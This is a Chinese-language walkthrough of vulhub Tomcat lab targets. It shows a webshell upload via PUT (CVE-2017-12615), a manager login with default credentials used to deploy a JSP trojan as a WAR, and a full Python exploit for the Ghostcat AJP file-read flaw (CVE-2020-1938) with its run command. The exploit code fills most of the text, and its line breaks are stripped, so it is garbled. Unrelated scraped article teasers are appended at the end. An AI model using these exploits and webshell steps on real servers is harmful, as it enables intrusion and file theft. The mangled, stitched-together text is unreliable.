Tomcat 靶场攻略

CVE-2017-12615

步骤一:环境搭建

cd vulhub/tomcat/CVE-2017-12615

docker-compose up -d

docker ps


步骤二:漏洞复现

http://192.168.10.190:8080/

步骤二:首页进行抓包

Tomcat允许适⽤put⽅法上传任意⽂件类型,但不允许jsp后缀⽂件上传,因此我们需要配合 windows的

步骤三:Webshell客户端⼯具进行连接

tomcat8

步骤一:环境搭建

cd vulhub/tomcat/tomcat8

docker-compose up -d

docker ps

步骤二:漏洞复现

http://192.168.10.190:8080/manager/html

默认密码:tomcat/tomcat

步骤三:制作WAR包,上传

将JSP⽊⻢压缩为ZIP格式,然后修改后缀为war就可以了。

步骤四:Webshell客户端⼯具进⾏连接

http://192.168.10.190:8080/shell/shell.jsp

CVE-2020-1938

步骤一:环境搭建

cd vulhub/tomcat/CVE-2020-1938

docker-compose up -d

docker ps

步骤二:漏洞复现

tomcat默认的conf/server.xml中配置了2个Connector,⼀个为 8080 的对外提供的HTTP协议端⼝,另 外⼀个就是默认的 8009 AJP协议端⼝,两个端⼝默认均监听在外⽹ip

ve-2020-1938.py:

#!/usr/bin/env python
# CNVD-2020-10487  Tomcat-Ajp lfi
# by ydhcui
import struct
import io
import base64# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):if s is None:return struct.pack(">h", -1)l = len(s)return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)def unpack(stream, fmt):size = struct.calcsize(fmt)buf = stream.read(size)return struct.unpack(fmt, buf)def unpack_string(stream):size, = unpack(stream, ">h")if size == -1:  # null stringreturn Noneres, = unpack(stream, "%ds" % size)stream.read(1)  # \0return resclass NotFoundException(Exception):passclass AjpBodyRequest(object):# server == web server, container == servletSERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)MAX_REQUEST_LENGTH = 8186def __init__(self, data_stream, data_len, data_direction=None):self.data_stream = data_streamself.data_len = data_lenself.data_direction = data_directiondef serialize(self):data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)if len(data) == 0:return struct.pack(">bbH", 0x12, 0x34, 0x00)else:res = struct.pack(">H", len(data))res += dataif self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:header = struct.pack(">bbH", 0x12, 0x34, len(res))else:header = struct.pack(">bbH", 0x41, 0x42, len(res))return header + resdef send_and_receive(self, socket, stream):while True:data = self.serialize()socket.send(data)r = AjpResponse.receive(stream)while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:r = AjpResponse.receive(stream)if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:breakclass AjpForwardRequest(object):_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,'TRACE': TRACE}# server == web server, container == servletSERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)COMMON_HEADERS = ["SC_REQ_ACCEPT","SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE","SC_REQ_AUTHORIZATION","SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE","SC_REQ_COOKIE2","SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"]ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert","ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]def __init__(self, data_direction=None):self.prefix_code = 0x02self.method = Noneself.protocol = Noneself.req_uri = Noneself.remote_addr = Noneself.remote_host = Noneself.server_name = Noneself.server_port = Noneself.is_ssl = Noneself.num_headers = Noneself.request_headers = Noneself.attributes = Noneself.data_direction = data_directiondef pack_headers(self):self.num_headers = len(self.request_headers)res = ""res = struct.pack(">h", self.num_headers)for h_name in self.request_headers:if h_name.startswith("SC_REQ"):code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1res += struct.pack("BB", 0xA0, code)else:res += pack_string(h_name)res += pack_string(self.request_headers[h_name])return resdef pack_attributes(self):res = b""for attr in self.attributes:a_name = attr['name']code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1res += struct.pack("b", code)if a_name == "req_attribute":aa_name, a_value = attr['value']res += pack_string(aa_name)res += pack_string(a_value)else:res += pack_string(attr['value'])res += struct.pack("B", 0xFF)return resdef serialize(self):res = ""res = struct.pack("bb", self.prefix_code, self.method)res += pack_string(self.protocol)res += pack_string(self.req_uri)res += pack_string(self.remote_addr)res += pack_string(self.remote_host)res += pack_string(self.server_name)res += struct.pack(">h", self.server_port)res += struct.pack("?", self.is_ssl)res += self.pack_headers()res += self.pack_attributes()if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:header = struct.pack(">bbh", 0x12, 0x34, len(res))else:header = struct.pack(">bbh", 0x41, 0x42, len(res))return header + resdef parse(self, raw_packet):stream = io.StringIO(raw_packet)self.magic1, self.magic2, data_len = unpack(stream, "bbH")self.prefix_code, self.method = unpack(stream, "bb")self.protocol = unpack_string(stream)self.req_uri = unpack_string(stream)self.remote_addr = unpack_string(stream)self.remote_host = unpack_string(stream)self.server_name = unpack_string(stream)self.server_port = unpack(stream, ">h")self.is_ssl = unpack(stream, "?")self.num_headers, = unpack(stream, ">H")self.request_headers = {}for i in range(self.num_headers):code, = unpack(stream, ">H")if code > 0xA000:h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]else:h_name = unpack(stream, "%ds" % code)stream.read(1)  # \0h_value = unpack_string(stream)self.request_headers[h_name] = h_valuedef send_and_receive(self, socket, stream, save_cookies=False):res = []i = socket.sendall(self.serialize())if self.method == AjpForwardRequest.POST:return resr = AjpResponse.receive(stream)assert r.prefix_code == AjpResponse.SEND_HEADERSres.append(r)if save_cookies and 'Set-Cookie' in r.response_headers:self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']# read body chunks and end response packetswhile True:r = AjpResponse.receive(stream)res.append(r)if r.prefix_code == AjpResponse.END_RESPONSE:breakelif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:continueelse:raise NotImplementedErrorbreakreturn resclass AjpResponse(object):_, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)COMMON_SEND_HEADERS = ["Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified","Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"]def parse(self, stream):# read headersself.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")if self.prefix_code == AjpResponse.SEND_HEADERS:self.parse_send_headers(stream)elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:self.parse_send_body_chunk(stream)elif self.prefix_code == AjpResponse.END_RESPONSE:self.parse_end_response(stream)elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:self.parse_get_body_chunk(stream)else:raise NotImplementedErrordef parse_send_headers(self, stream):self.http_status_code, = unpack(stream, ">H")self.http_status_msg = unpack_string(stream)self.num_headers, = unpack(stream, ">H")self.response_headers = {}for i in range(self.num_headers):code, = unpack(stream, ">H")if code <= 0xA000:  # custom headerh_name, = unpack(stream, "%ds" % code)stream.read(1)  # \0h_value = unpack_string(stream)else:h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]h_value = unpack_string(stream)self.response_headers[h_name] = h_valuedef parse_send_body_chunk(self, stream):self.data_length, = unpack(stream, ">H")self.data = stream.read(self.data_length + 1)def parse_end_response(self, stream):self.reuse, = unpack(stream, "b")def parse_get_body_chunk(self, stream):rlen, = unpack(stream, ">H")return rlen@staticmethoddef receive(stream):r = AjpResponse()r.parse(stream)return rimport socketdef prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)fr.method = methodfr.protocol = "HTTP/1.1"fr.req_uri = req_urifr.remote_addr = target_hostfr.remote_host = Nonefr.server_name = target_hostfr.server_port = 80fr.request_headers = {'SC_REQ_ACCEPT': 'text/html','SC_REQ_CONNECTION': 'keep-alive','SC_REQ_CONTENT_LENGTH': '0','SC_REQ_HOST': target_host,'SC_REQ_USER_AGENT': 'Mozilla','Accept-Encoding': 'gzip, deflate, sdch','Accept-Language': 'en-US,en;q=0.5','Upgrade-Insecure-Requests': '1','Cache-Control': 'max-age=0'}fr.is_ssl = Falsefr.attributes = []return frclass Tomcat(object):def __init__(self, target_host, target_port):self.target_host = target_hostself.target_port = target_portself.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.socket.connect((target_host, target_port))self.stream = self.socket.makefile("rb", buffering=0)def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):self.req_uri = req_uriself.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,method=AjpForwardRequest.REQUEST_METHODS.get(method))print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))if user is not None and password is not None:self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}'for h in headers:self.forward_request.request_headers[h] = headers[h]for a in attributes:self.forward_request.attributes.append(a)responses = self.forward_request.send_and_receive(self.socket, self.stream)if len(responses) == 0:return None, Nonesnd_hdrs_res = responses[0]data_res = responses[1:-1]if len(data_res) == 0:print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)return snd_hdrs_res, data_res'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''import argparseparser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[{'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},{'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},{'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
])
print('----------------------------')
print(''.join([d.data.decode('utf_8') for d in data]))

poc:

python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.10.190

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1542788.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

小程序-基础知识1

Mustache语法 小程序和vue一样提供了插值语法 但是小程序不能调用方法{{xxxx()}} hidden属性 hidden是所有组件都默认拥有的属性&#xff0c; hidden与wx:if的区别&#xff1a; wx:if是控制组件是否渲染,hidden控制显示或隐藏是通过添加hidden属性。 wx:for 除了可以遍历…

HCIA--实验十九:配置接口DCHP

一、实验内容 1.需求/要求&#xff1a; 通过一台5700交换机和一台PC&#xff0c;通过在交换机的接口上配置接口DHCP来实现PC自动获取ip地址。 二、实验过程 1.拓扑图&#xff1a; 2.步骤&#xff1a; 1.给vlan10配置ip地址&#xff0c;进入vlan10开启接口的DHCP&#xff1…

Java数据库连接——JDBC

目录 1、JDBC简介 2、JDBC应用 2.1 建立数据库连接 2.1.1 DriverManager静态方法获取连接 2.1.2 DataSource对象获取 2.2 获取SQL执行对象 2.2.1 SQL注入 2.2.2 Statement(执行静态SQL) 2.2.3 PreparedStatement(预处理的SQL执行对象) 2.3 执行SQL并返回结果 2.4 关…

【笔记】材料分析测试:晶体学

晶体与晶体结构Crystal and Crystal Structure 1.晶体主要特征 固态物质可以分为晶态和非晶态两大类&#xff0c;分别称为晶体和非晶体。 晶体和非晶体在微观结构上的区别在于是否具有长程有序。 晶体&#xff08;长程有序&#xff09;非晶&#xff08;短程有序&#xff09…

机器人机构、制造

简单整理一下&#xff0c;在学习了一些运动学和动力学之类的东西&#xff0c;简单的整合了一些常用的机械结构和图片。 1.电机&#xff1a; 市面上的电机有&#xff1a;直流电机&#xff0c;交流电机&#xff0c;舵机&#xff0c;步进电机&#xff0c;电缸&#xff0c;无刷电…

李宏毅结构化学习 03

文章目录 一、Sequence Labeling 问题概述二、Hidden Markov Model(HMM)三、Conditional Random Field(CRF)四、Structured Perceptron/SVM五、Towards Deep Learning 一、Sequence Labeling 问题概述 二、Hidden Markov Model(HMM) 上图 training data 中的黑色字为x&#xff…

基于单片机的水位检测系统仿真

目录 一、主要功能 二、硬件资源 三、程序编程 四、实现现象 一、主要功能 基于51单片机&#xff0c;DHT11温湿度检测&#xff0c;水位检测&#xff0c;通过LCD1602显示&#xff0c;超过阈值报警&#xff0c;继电器驱动电机转动。通过矩阵按键切换选择设置各项参数阈值。 …

【Linux】通过内核以太层可查看应用程序运行时访问外网情况

比如&#xff0c;SourceInsight3.exe从外网接收信息&#xff1a; 下边是运行firefox时内核打印的日志&#xff0c;可以看到浏览器运行时调用了很多的操作系统内核系统调用&#xff0c;比如&#xff1a;文件读写、网络数据包的收发等等&#xff0c;其实这些日志还并不全&#x…

基于Ambari搭建hadoop生态圈+Centos7安装教程(还没写完,等明天补充完整)

当我们学习搭建hadoop的时候&#xff0c;未免也会遇见很多繁琐的事情&#xff0c;比如很多错误&#xff0c;需要解决。在以后公司&#xff0c;也不可能让你一个一个搭建hadoop&#xff0c;成千上万的电脑&#xff0c;你再一个个搭建&#xff0c;一个个报错&#xff0c;而且每台…

数据处理与统计分析篇-day08-apply()自定义函数与分组操作

一. 自定义函数 概述 当Pandas自带的API不能满足需求, 例如: 我们需要遍历的对Series中的每一条数据/DataFrame中的一列或一行数据做相同的自定义处理, 就可以使用Apply自定义函数 apply函数可以接收一个自定义函数, 可以将Series对象的逐个值或DataFrame的行/列数据传递给自…

K8s 之微服务的定义及详细资源调用案例

什么是微服务 用控制器来完成集群的工作负载&#xff0c;那么应用如何暴漏出去&#xff1f; 需要通过微服务暴漏出去后才能被访问 Service是一组提供相同服务的Pod对外开放的接口。借助Service&#xff0c;应用可以实现服务发现和负载均衡。service默认只支持4层负载均衡能力&…

OpenCV特征检测(10)检测图像中直线的函数HoughLinesP()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 在二值图像中使用概率霍夫变换查找线段。 该函数实现了用于直线检测的概率霍夫变换算法&#xff0c;该算法在文献 181中有所描述。 HoughLines…

JavaEE: 深入探索TCP网络编程的奇妙世界(五)

文章目录 TCP核心机制TCP核心机制六: 拥塞控制为什么要有拥塞控制?动态调整的拥塞控制拥塞控制中,窗口大小具体的变化过程 TCP核心机制七: 延时应答TCP核心机制八: 捎带应答 TCP核心机制 前一篇文章 JavaEE: 深入探索TCP网络编程的奇妙世界(四) 书接上文~ TCP核心机制六: 拥…

Parallels Desktop 20 for Mac 推出:完美兼容 macOS Sequoia 与 Win11 24H2

Parallels Desktop 20 for Mac 近日正式发布&#xff0c;这一新版本不仅全面支持 macOS Sequoia 和 Windows 11 24H2&#xff0c;还在企业版中引入了一个全新的管理门户。新版本针对 Windows、macOS 和 Linux 虚拟机进行了多项改进&#xff0c;其中最引人注目的当属 Parallels …

Python 入门(一、使用 VSCode 开发 Python 环境搭建)

Python 入门第一课 &#xff0c;环境搭建...... by 矜辰所致前言 现在不会 Python &#xff0c;好像不那么合适&#xff0c;咱先不求精通&#xff0c;但也不能不会&#xff0c;话不多说&#xff0c;开干&#xff01; 这是 Python 入门第一课&#xff0c;当然是做好准备工作&a…

计算机毕业设计 校园失物招领网站的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…

嵌入式单片机STM32开发板详细制作过程--01

大家好,今天主要给大家分享一下,单片机开发板的制作过程,原理图的制作与PCB设计,以及电子元器件采购与焊接。 第一:单片机开发板成品展示 板子正面都有各个芯片的丝印与标号,方便焊接元器件的时候,可以参考。(焊接完成之后,成品图如下) 第二:开发板原理图制作 在制…

MATLAB中多张fig图合并为一个图

将下列两个图和为一个图 打开查看-----绘图浏览器 点击第一幅图中曲线右键复制&#xff0c;到第二幅图中粘贴即可完成

布草洗涤-酒店分楼层统计报表--———未来之窗行业应用跨平台架构

一、大酒店分层管理 1. 精准管理库存 - 能够清晰了解每个楼层布草的具体数量和状况&#xff0c;实现对布草库存的精细化管理&#xff0c;避免出现某些楼层布草短缺或过剩的情况。 2. 优化资源分配 - 依据各楼层的使用频率和需求差异&#xff0c;合理调配布草资源&…

排序--归并排序

1.什么是归并排序&#xff1f; 归并排序将待排序的数组分成两部分&#xff0c;对每部分递归地应用归并排序&#xff0c;然后将两个有序的子数组合并成一个有序的数组。这个过程一直重复&#xff0c;直到数组完全有序。归并排序的过程可以用一棵完全二叉树来形象地表示&#xf…